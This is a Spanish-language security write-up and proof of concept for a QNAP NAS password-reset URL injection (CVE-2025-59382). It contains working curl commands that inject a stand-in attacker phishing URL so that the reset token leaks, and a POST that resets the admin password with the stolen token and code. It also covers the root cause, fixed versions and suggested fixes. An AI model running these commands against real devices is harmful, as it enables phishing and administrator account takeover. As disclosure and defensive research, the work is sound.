
Prueba de concepto y análisis técnico para CVE-2025-59382, una inyección de URL de restablecimiento de contraseña no autenticada en QNAP NAS que permite una cadena de phishing a toma de cuentas.
URL de reinicio de contraseña controlada por atacante no autenticado en /cgi-bin/reset_password.cgi.
Probado contra QuTScloud c5.2.4.3041 build 20250211 en un laboratorio. QNAP luego publicó esto como CVE-2025-59382 en el aviso QSA-26-10.
Un atacante no autenticado con acceso a la red local, o acceso a una interfaz de administración NAS expuesta, puede inyectar una URL arbitraria en el correo electrónico oficial de reinicio de contraseña de QNAP manipulando el parámetro url de la función send_mail en /cgi-bin/reset_password.cgi.
La víctima recibe un correo electrónico real de reinicio de contraseña de QNAP desde el NAS. La URL del atacante se incrusta directamente en el cuerpo HTML del correo, y QNAP agrega el token de reinicio () a esa URL.
rpEsto convierte el correo de reinicio de contraseña en una cadena limpia de phishing a toma de cuenta:
rpvc) en la página de phishingRequiere interacción de la víctima, pero no autenticación del atacante.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
El NAS envía el correo electrónico oficial de reinicio y agrega el token de reinicio a la URL del atacante, por ejemplo:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
El código de verificación también se muestra en el mismo correo electrónico. En la evidencia de laboratorio se veía así:
Your verification code is: 2FEA2B8B
Por lo tanto, la página de phishing solo tiene que pedirle a la víctima el código de verificación. El token rp ya llega al servidor del atacante cuando se hace clic en el enlace.
Una vez que el atacante tiene el token rp y el código de verificación vc asociado, puede restablecer la contraseña de administrador:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
La llamada final de reinicio debe ser un POST. El código de verificación que la víctima ingresa en la página falsa se envía a QNAP como vc=<code>.
La nueva contraseña está codificada en base64 en new_pw. En el PoC esto fue suficiente para cambiar la contraseña de administrador y luego iniciar sesión como administrador.
El flujo normal del frontend construye una URL local del NAS como:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Pero el backend confía en el parámetro url proporcionado por el cliente en lugar de generar la URL de reinicio por sí mismo. Luego construye el enlace del correo usando ese valor y agrega:
&u=<user>&rp=<reset_token>
Simplemente confía en lo que se pase como url.
El correo electrónico confiable del NAS está realizando la entrega.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MedioQNAP enumera los productos afectados como:
5.2.7h5.2.8c5.2.82.7.1Versiones corregidas listadas por QNAP:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP describió el problema como un atacante remoto que modifica la URL de reinicio de contraseña y engaña a una víctima para que visite una página de reinicio controlada por el atacante, lo que lleva al robo de credenciales.
Mi propio objetivo de laboratorio fue QuTScloud c5.2.4.3041 build 20250211. Mi impacto de laboratorio fue el reinicio de contraseña de administrador y el inicio de sesión como administrador después de la interacción de la víctima.
Nota pequeña: reproduje esto en mi laboratorio el 2026-05-09 y lo envié a QNAP el 2026-05-11; lo marcaron como duplicado de INTSI000-9029. Dado que QNAP ha publicado el CVE/aviso, estoy publicando el POC. Créditos a Tim Coen como el primero en encontrar.
No sé el parche exacto que usó QNAP. Su aviso solo enumera las versiones corregidas.
Mi suposición para la solución correcta es simple: no permitir que el navegador le diga al NAS hacia dónde debe apuntar el enlace de reinicio.
El NAS debería construir ese enlace por sí mismo. Si QNAP aún necesita un parámetro url para el flujo, solo debería aceptar la página de reinicio normal del NAS y rechazar cualquier cosa externa.
También codificaría cualquier cosa que se coloque en el cuerpo del correo electrónico y pondría algún límite de velocidad en las solicitudes de correo de reinicio no autenticadas.
Descargo de responsabilidad: Este código de exploit se publica con fines educativos e investigación defensiva. No lo utilice contra sistemas que no posea o para los que no tenga autorización explícita para probar. El autor no es responsable del mal uso.